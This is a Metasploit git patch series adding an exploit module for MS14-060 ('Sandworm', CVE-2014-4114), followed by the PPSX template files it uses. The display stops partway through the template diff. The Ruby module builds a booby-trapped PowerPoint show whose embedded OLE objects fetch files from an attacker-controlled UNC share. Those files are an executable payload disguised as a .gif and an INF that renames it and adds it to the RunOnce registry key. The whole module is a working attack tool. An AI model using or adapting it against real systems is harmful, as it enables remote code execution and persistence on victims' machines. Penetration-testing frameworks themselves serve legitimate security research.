From e40642799eed70c42524c04700d469ab170d0a96 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 16 Oct 2014 16:37:37 -0500 Subject: [PATCH 1/5] Add sandworm module --- .../windows/fileformat/ms14_060_sandworm.rb | 213 ++++++++++++++++++ 1 file changed, 213 insertions(+) create mode 100644 modules/exploits/windows/fileformat/ms14_060_sandworm.rb diff --git a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb new file mode 100644 index 0000000000..cf8f911c15 --- /dev/null +++ b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb @@ -0,0 +1,213 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS14-060 Microsoft Windows OLE Package Manager Code Execution", + 'Description' => %q{ + This module exploits a vulnerability Microsoft Windows from Vista SP2 to Windows 8, + including Windows Server 2008 and 2012. The vulnerability exists in the OLE package + magager, which allows to download and execute remote INF files silently. This module + triggers the vulnerability through a malicious PPSX file, as exploited in the wild on + October 2014. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Eduardo Prado', # Vulnerability discovery + 'sinn3r', # Metasploit module + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-4114'], + ['OSVDB', '113140'], + ['MSB', 'MS14-060'], + ['BID', '70419'], + ['URL' , 'http://www.isightpartners.com/2014/10/cve-2014-4114/'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/'], + ['URL', 'http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/'] + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + ['Windows 7 SP1 / Office 2010 SP1', {}], + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 14 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']), + OptString.new('UNCPATH', [ true, 'The UNC path to use (Ex: \\\\192.168.1.1\\share)', '\\\\172.16.158.1\\public' ]) + ], self.class) + end + + def exploit + @unc = validate_unc + + if @unc.nil? + fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder") + end + + print_status("Creating the EXE payload...") + payload_name = "#{rand_text_alpha(4)}.gif" + p = generate_payload_exe + + print_status("Creating the INF file...") + inf_name = "#{rand_text_alpha(4)}.inf" + inf = inf_file(payload_name) + + print_status("Creating '#{datastore['FILENAME']}' file ...") + exe_stream = ole_exe(payload_name) + inf_stream = ole_inf(inf_name) + zip = zip_ppsx(exe_stream, inf_stream) + file_create(zip) + + payload_path = my_file_create(p, payload_name) + print_good("#{payload_name} stored at #{payload_path}, copy it to the remote share: #{@unc}") + + inf_path = my_file_create(inf, inf_name) + print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}") + end + + def validate_unc + if datastore['UNCPATH'] =~ /\\\\([^\\]+)\\([^\\]+)/ + unc = datastore['UNPATH'] + else + unc = nil + end + + unc + end + + def my_file_create(data, name) + ltype = "exploit.fileformat.#{self.shortname}" + path = store_local(ltype, nil, data, name) + + path + end + + def zip_ppsx(ole_exe, ole_inf) + zip_data = {} + data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template') + + Dir["#{data_dir}/**/**"].each do |file| + unless File.directory?(file) + zip_data[file.sub(data_dir,'')] = File.read(file) + end + end + + #add the otherwise skipped "hidden" file + file = "#{data_dir}/_rels/.rels" + zip_data[file.sub(data_dir,'')] = File.read(file) + + #put our own OLE streams + zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe + zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf + + #and lets create the file + ppsx = Rex::Zip::Archive.new + zip_data.each_pair do |k,v| + ppsx.add_file(k,v) + end + + ppsx.pack + end + + def ole_inf(file_name) + content = "EmbeddedStg2.txt\x00" + content << "#{@unc}\\#{file_name}\x00" + + data = [content.length].pack('V') + data << content + ole = create_ole("\x01OLE10Native", data) + + ole + end + + def ole_exe(file_name) + content = "EmbeddedStg1.txt\x00" + content << "#{@unc}\\#{file_name}\x00" + + data = [content.length].pack('V') + data << content + + ole = create_ole("\x01OLE10Native", data) + + ole + end + + def create_ole(stream_name, data) + ole_tmp = Rex::Quickfile.new('ole') + stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) + + stm = stg.create_stream(stream_name) + stm << data + stm.close + + directory.each_entry do |entry| + if entry.instance_variable_get(:@_ab) == 'Root Entry' + # 02260200-0000-0000-c000-000000000046 # Video clip + clsid = Rex::OLE::CLSID.new("\x02\x26\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46") + entry.instance_variable_set(:@_clsId, clsid) + end + end + + # write to disk + stg.close + + ole_contents = File.read(ole_tmp.path) + ole_tmp.close + ole_tmp.unlink + + ole_contents + end + + def inf_file(gif_name) + inf = <<-EOF +; 61883.INF +; Copyright (c) Microsoft Corporation. All rights reserved. + +[Version] +Signature = "$CHICAGO$" +Class=61883 +ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17} +Provider=%Msft% +DriverVer=06/21/2006,6.1.7600.16385 + +[DestinationDirs] +DefaultDestDir = 1 + +[DefaultInstall] +RenFiles = RxRename +AddReg = RxStart + +[RxRename] +#{gif_name}.exe, #{gif_name} +[RxStart]# +HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\#{gif_name}.exe +EOF + + inf + end + +end + From c1f9ccda644ea1088544cc7bfe5b7a92ef77e061 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 16 Oct 2014 17:55:00 -0500 Subject: [PATCH 2/5] Fix ruby --- .../exploits/windows/fileformat/ms14_060_sandworm.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb index cf8f911c15..0a041f4031 100644 --- a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb +++ b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb @@ -89,8 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote end def validate_unc - if datastore['UNCPATH'] =~ /\\\\([^\\]+)\\([^\\]+)/ - unc = datastore['UNPATH'] + if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)/ + unc = datastore['UNCPATH'] else unc = nil end @@ -115,15 +115,15 @@ class Metasploit3 < Msf::Exploit::Remote end end - #add the otherwise skipped "hidden" file + # add the otherwise skipped "hidden" file file = "#{data_dir}/_rels/.rels" zip_data[file.sub(data_dir,'')] = File.read(file) - #put our own OLE streams + # put our own OLE streams zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf - #and lets create the file + # create the ppsx ppsx = Rex::Zip::Archive.new zip_data.each_pair do |k,v| ppsx.add_file(k,v) @@ -163,6 +163,7 @@ class Metasploit3 < Msf::Exploit::Remote stm << data stm.close + directory = stg.instance_variable_get(:@directory) directory.each_entry do |entry| if entry.instance_variable_get(:@_ab) == 'Root Entry' # 02260200-0000-0000-c000-000000000046 # Video clip From bf8dce574afa3551fce65c4441ad895f7184b126 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 16 Oct 2014 17:55:22 -0500 Subject: [PATCH 3/5] Add ppsx template --- .../template/[Content_Types].xml | 2 + .../CVE-2014-4114/template/_rels/.rels | 2 + .../CVE-2014-4114/template/docProps/app.xml | 2 + .../CVE-2014-4114/template/docProps/core.xml | 2 + .../template/docProps/thumbnail.jpeg | Bin 0 -> 1929 bytes .../template/ppt/_rels/presentation.xml.rels | 9 + .../ppt/drawings/_rels/vmlDrawing1.vml.rels | 5 + .../template/ppt/drawings/vmlDrawing1.vml | 37 ++ .../template/ppt/media/image1.wmf | Bin 0 -> 3722 bytes .../template/ppt/media/image2.wmf | Bin 0 -> 3722 bytes .../CVE-2014-4114/template/ppt/presProps.xml | 2 + .../template/ppt/presentation.xml | 121 +++++ .../slideLayouts/_rels/slideLayout1.xml.rels | 4 + .../slideLayouts/_rels/slideLayout10.xml.rels | 2 + .../slideLayouts/_rels/slideLayout11.xml.rels | 2 + .../slideLayouts/_rels/slideLayout2.xml.rels | 2 + .../slideLayouts/_rels/slideLayout3.xml.rels | 2 + .../slideLayouts/_rels/slideLayout4.xml.rels | 2 + .../slideLayouts/_rels/slideLayout5.xml.rels | 2 + .../slideLayouts/_rels/slideLayout6.xml.rels | 2 + .../slideLayouts/_rels/slideLayout7.xml.rels | 2 + .../slideLayouts/_rels/slideLayout8.xml.rels | 2 + .../slideLayouts/_rels/slideLayout9.xml.rels | 2 + .../ppt/slideLayouts/slideLayout1.xml | 2 + .../ppt/slideLayouts/slideLayout10.xml | 2 + .../ppt/slideLayouts/slideLayout11.xml | 2 + .../ppt/slideLayouts/slideLayout2.xml | 2 + .../ppt/slideLayouts/slideLayout3.xml | 2 + .../ppt/slideLayouts/slideLayout4.xml | 2 + .../ppt/slideLayouts/slideLayout5.xml | 2 + .../ppt/slideLayouts/slideLayout6.xml | 2 + .../ppt/slideLayouts/slideLayout7.xml | 2 + .../ppt/slideLayouts/slideLayout8.xml | 2 + .../ppt/slideLayouts/slideLayout9.xml | 2 + .../slideMasters/_rels/slideMaster1.xml.rels | 15 + .../ppt/slideMasters/slideMaster1.xml | 505 ++++++++++++++++++ .../template/ppt/slides/_rels/slide1.xml.rels | 9 + .../template/ppt/slides/slide1.xml | 425 +++++++++++++++ .../template/ppt/tableStyles.xml | 2 + .../template/ppt/theme/theme1.xml | 2 + .../CVE-2014-4114/template/ppt/viewProps.xml | 2 + 41 files changed, 1188 insertions(+) create mode 100755 data/exploits/CVE-2014-4114/template/[Content_Types].xml create mode 100755 data/exploits/CVE-2014-4114/template/_rels/.rels create mode 100755 data/exploits/CVE-2014-4114/template/docProps/app.xml create mode 100755 data/exploits/CVE-2014-4114/template/docProps/core.xml create mode 100755 data/exploits/CVE-2014-4114/template/docProps/thumbnail.jpeg create mode 100755 data/exploits/CVE-2014-4114/template/ppt/_rels/presentation.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/drawings/_rels/vmlDrawing1.vml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/drawings/vmlDrawing1.vml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/media/image1.wmf create mode 100755 data/exploits/CVE-2014-4114/template/ppt/media/image2.wmf create mode 100755 data/exploits/CVE-2014-4114/template/ppt/presProps.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/presentation.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout1.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout10.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout11.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout2.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout3.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout4.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout5.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout6.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout7.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout8.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout9.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout1.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout10.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout11.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout2.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout3.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout4.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout5.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout6.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout7.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout8.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout9.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideMasters/_rels/slideMaster1.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slideMasters/slideMaster1.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slides/_rels/slide1.xml.rels create mode 100755 data/exploits/CVE-2014-4114/template/ppt/slides/slide1.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/tableStyles.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/theme/theme1.xml create mode 100755 data/exploits/CVE-2014-4114/template/ppt/viewProps.xml diff --git a/data/exploits/CVE-2014-4114/template/[Content_Types].xml b/data/exploits/CVE-2014-4114/template/[Content_Types].xml new file mode 100755 index 0000000000..f35276fe52 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/_rels/.rels b/data/exploits/CVE-2014-4114/template/_rels/.rels new file mode 100755 index 0000000000..7100d4b140 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/docProps/app.xml b/data/exploits/CVE-2014-4114/template/docProps/app.xml new file mode 100755 index 0000000000..1601f0b643 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/docProps/app.xml @@ -0,0 +1,2 @@ + +372Microsoft Office PowerPointOn-screen Show (4:3)21000falseFonts Used2Theme1Embedded OLE Servers1Slide Titles1ArialCalibriOffice ThemePackager Shell ObjectExamplefalsefalsefalse15.0000 \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/docProps/core.xml b/data/exploits/CVE-2014-4114/template/docProps/core.xml new file mode 100755 index 0000000000..6634f5b063 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/docProps/core.xml @@ -0,0 +1,2 @@ + +ExampleWindows User82014-08-06T07:56:10Z2014-10-16T21:26:22Z diff --git a/data/exploits/CVE-2014-4114/template/docProps/thumbnail.jpeg b/data/exploits/CVE-2014-4114/template/docProps/thumbnail.jpeg new file mode 100755 index 0000000000000000000000000000000000000000..7f7d53e1545dbaf54a493d133cd1d958f6dbb465 GIT binary patch literal 1929 zcmex=``2_j6xdp@o1cgOJMMZh|#U;coyG6VInuyV4pa*FVB^NNrR z{vTivD9GqO-Km}U`7?>ED znVDFaL9Pa>t_8|7un4jWDH=Mm2?r*!D;0_uHBMZ}q3pErplHy=4=Tnkx|JhscGpMnOVgprDf$6l~v6xt!?cc zon4bAPnkMx`iz;g7A;<~blLJ1D_3pWyk+aQ?K^hvI&}ER(PPI?oIG{u@|COCuHU$M z>*1rvPo6$|{^I4UkDoq&`TFhqkDtFl{sQ?E1|S|o^OqpdUra14%q;96e=#zZ12MB8 z3#+0bn~-B5dt#xml2Idvh||P{8xL|S8wY(5O)9#`C8lEXQ1v6oYha%d=dmWTd)QJmq%9(cjA4

>g`E=#4nRE@!sLw(iQPHZ@HKpO=9+X zBwby9XWiHIBKeG;J3^BfY>T=+|FF}w+r4Pp@`wFg*>M_M%_rY-HeGz{us2U!?fzDK|qvyQTBDmdjfuYGihaw{3kdkR_*eY2DUrY3Yasy$ieUzP*$>_vzFi zv#_16zmEv5VN}n1z#qD3&+>!!x9H7&Y<-{mXPor)FL%|CZ1T)p_G(v;!BLs%g@<)6 zMQ=$8*4ng2xc8}Z zje92h=F=`ES0U+&PtleY2iQ$t{$u^Pbb0?Ct65u@?matAecq)xDTPvkJz{Gn%BDgu48Jo_3hI<*EP;cR4nfc zkYM8DpWbJiEgkovzjsgdLtf{@_Z0SD-10is&ExI6rx&LsE8m#&cbTf5+x3Zs5{2KL zH}lWXtqK)k{QPg}Z>wz0yIwngRBzp5lb`d(#{N-srRo;3qMvM6mpXV%i*}UR z=)NOy@#JaYr{{G)EI)9%zr8%3|4FUawMX{cKgxqI+_TP3=JL88ZWgS)=$)dd>%!PQ ze?K-Kt@`-hXhy(ZgNKfk(%U)M1| z_|I@SU-HM~1OKEim)>4$b@|Y(`i^&|8wIvbvvqRjTWs>d;bGr_MS(K&GM-L#dLyYH z?{(2Z-Y$ForeF6CE{O9^f4E*W%gS!~Bkn1e|M)KNe3QQYswvx^R7t+1X+|3w6~Z2- zNEiH!Pxw*&u;fF2%bG1qE}O*4pE5Fztf;#DW?SI2vK+Vh9j6O-Jl(MKz>60Pn7TAZ LF_tjk|9=wz+0*a5 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2014-4114/template/ppt/_rels/presentation.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/_rels/presentation.xml.rels new file mode 100755 index 0000000000..8a97c946e0 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/_rels/presentation.xml.rels @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/drawings/_rels/vmlDrawing1.vml.rels b/data/exploits/CVE-2014-4114/template/ppt/drawings/_rels/vmlDrawing1.vml.rels new file mode 100755 index 0000000000..ba3e45df73 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/drawings/_rels/vmlDrawing1.vml.rels @@ -0,0 +1,5 @@ + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/drawings/vmlDrawing1.vml b/data/exploits/CVE-2014-4114/template/ppt/drawings/vmlDrawing1.vml new file mode 100755 index 0000000000..127cb5b8ff --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/drawings/vmlDrawing1.vml @@ -0,0 +1,37 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/media/image1.wmf b/data/exploits/CVE-2014-4114/template/ppt/media/image1.wmf new file mode 100755 index 0000000000000000000000000000000000000000..b3bb5b267d7a7ca38acd8bf34c090b35af2f9f89 GIT binary patch literal 3722 zcmeH~KTH!*9LIlmfXW}EZVo0=5)&6m9J;tD3>qgwikip_PDB$4iDA&uI2ebf38kZT zXCP|g;6S={AOYGCf-F!#{&Z;XuGj0G-}m12dTq(|orz)b*Z1z;UGIIq?|t9z3NM$< zB#Fl;Md=Z5MV=|tOVoAmB9Tgw3+!eOYQI`<4X9BXr5m`cswIcrCHkb`z$(S2Uc8(d zeDaw3`o8~EZgtOojZ!}TbnczEmuZa|cf{X0OLoRL5~Bje8^g8G28H_^=S? zYjm5pi5}pr;KRc`iHpXOklw@+Dy)3XurBd;DJb3);>+8+-gud#?FO^EB zX;vx~y;3piMKg@1qG{!}QZ>!rM@PZ@jg1X-tXdZM2#;^@&<&%h=(^@B=yiN@BFpDf z2qhuO*EG$<_`$DBG*r%-g*OFxzGYc#3B2Mr3hg$Rbna4Eey~KlN(g?fW>%37Zk+8E zpNL<@s?|;;)))TQ1RoN06~9-F<>0<~8O8XgrycW0@T)u+zoSHb(PjC%j`0gVj`9*A z__powU5S>pI4gBADj9!}Y&Q6o#Y#Q=vw)O;IlOngX4|I{{tG@{fv^&cU&No1puq2s z$Cs5rKJi47a-cI7JD61Ru!|O2RNr z@XO_Lko!dN-{ZRy?Gvddl{*WNZLnG7^Z8JGNVqCKv;1BO?7_i7E|<$@vr9`$f5B%G z%^@TJ2ln$97U^^v@a5&@j(p?-I`V-x4lQdTRveFQZfD34|1!ktCN$H!Ek(w^%djClHq-6k-(*20{pG5Elgo;ZEbvfydzxj zy<|Z5;6VOhJef=;7K_Qi@eKaIDijKbhll%tQP|(dGrPOHfRBxhNy7g>b}kOE{h6w; zEf#AHD{Ld!hZ^a*M6)xm?hfM+p@_Q=yh_+EB7X24ouaBku{W=0r)G%Qo{#k$q7Qt( R#*&Y|MM>-f73$*s{s45a(DMKQ literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2014-4114/template/ppt/media/image2.wmf b/data/exploits/CVE-2014-4114/template/ppt/media/image2.wmf new file mode 100755 index 0000000000000000000000000000000000000000..e2f1435833d68facf1233d08df032733f065731e GIT binary patch literal 3722 zcmeH~KTH!*9LIlmfXbivXLB%-l9;&2VA91!V9+=bQq)8im*PY;k&qY$9gUMiLqh3j zom?1*4vwT-2NIwSA;4_1co_I}*d{dVs2z$`dc@ixrZkiv)5xPs^d76#=X)041J_Qd{~I{ z4Z6$QL?bvW`0#K~;-Yb6q>B!N=vwjL)!Se{M15Z*#VJx3rraEC-A4N#(X{JeyOV>k zNTHj;sDX?1Ykq!yVPRn@m0A*!OyZ2%D9Pkvds$?WN~IEsMDX}GHa42=34PU(Un-SM z)2vh~dZl92i)I*2MbpY{rD~eLkB@`-o12^HShXzh5gy;*p&Le1(RIyN(Cg31i7cN_ zA(Vt9U(+-b;|ISk(NH;S7Ty%(`Icp|CGd*hD74#L(z#1v`N0zHDk1o_nps6UxN){u zd?J1ot5!RaSYP;G6MRV2Rs3ExmV^7|WfbF|o_5S1!LRaQ{Eia!MVIC4I>s;fILb?e z;M=yxcO_cZ;;hugsAT*>vf1EU7Ay7e&jM2Zpd{%<_9Bu!o0-xm+%r%`Pu5pM%dN znnOqc4(yk&EYj&T;43RD9r?%wbmRkX99q^wtT-Oq+S=OL*+Bzu*6Ql&np~OCBysDB7sZ41o+$A+nB=o`ufDgL`S&b zd&z+A!GZk2cruwxEEbc2;~D&aRVWmWj*bojqi}G5XZH5?03RP8mxTX+>_Qx1`!iKx zTP)TZR@g?c4>i(rg=S~o+#kjvLJ@Z#c%86aMEvACIz?57V(;G0#%Hi&!=8`z9HLKr Szs8b}end&^0~PAx{r&>%_0K2( literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2014-4114/template/ppt/presProps.xml b/data/exploits/CVE-2014-4114/template/ppt/presProps.xml new file mode 100755 index 0000000000..8cdb3628c4 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/presProps.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/presentation.xml b/data/exploits/CVE-2014-4114/template/ppt/presentation.xml new file mode 100755 index 0000000000..4cdaeffb4c --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/presentation.xml @@ -0,0 +1,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout1.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout1.xml.rels new file mode 100755 index 0000000000..af204cf94b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout1.xml.rels @@ -0,0 +1,4 @@ + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout10.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout10.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout10.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout11.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout11.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout11.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout2.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout2.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout2.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout3.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout3.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout3.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout4.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout4.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout4.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout5.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout5.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout5.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout6.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout6.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout6.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout7.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout7.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout7.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout8.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout8.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout8.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout9.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout9.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout9.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout1.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout1.xml new file mode 100755 index 0000000000..03c5220d5f --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout1.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master subtitle style10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout10.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout10.xml new file mode 100755 index 0000000000..2f91f757aa --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout10.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout11.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout11.xml new file mode 100755 index 0000000000..7cdcf6c45b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout11.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout2.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout2.xml new file mode 100755 index 0000000000..bd0dbf91c7 --- /dev/null +++ 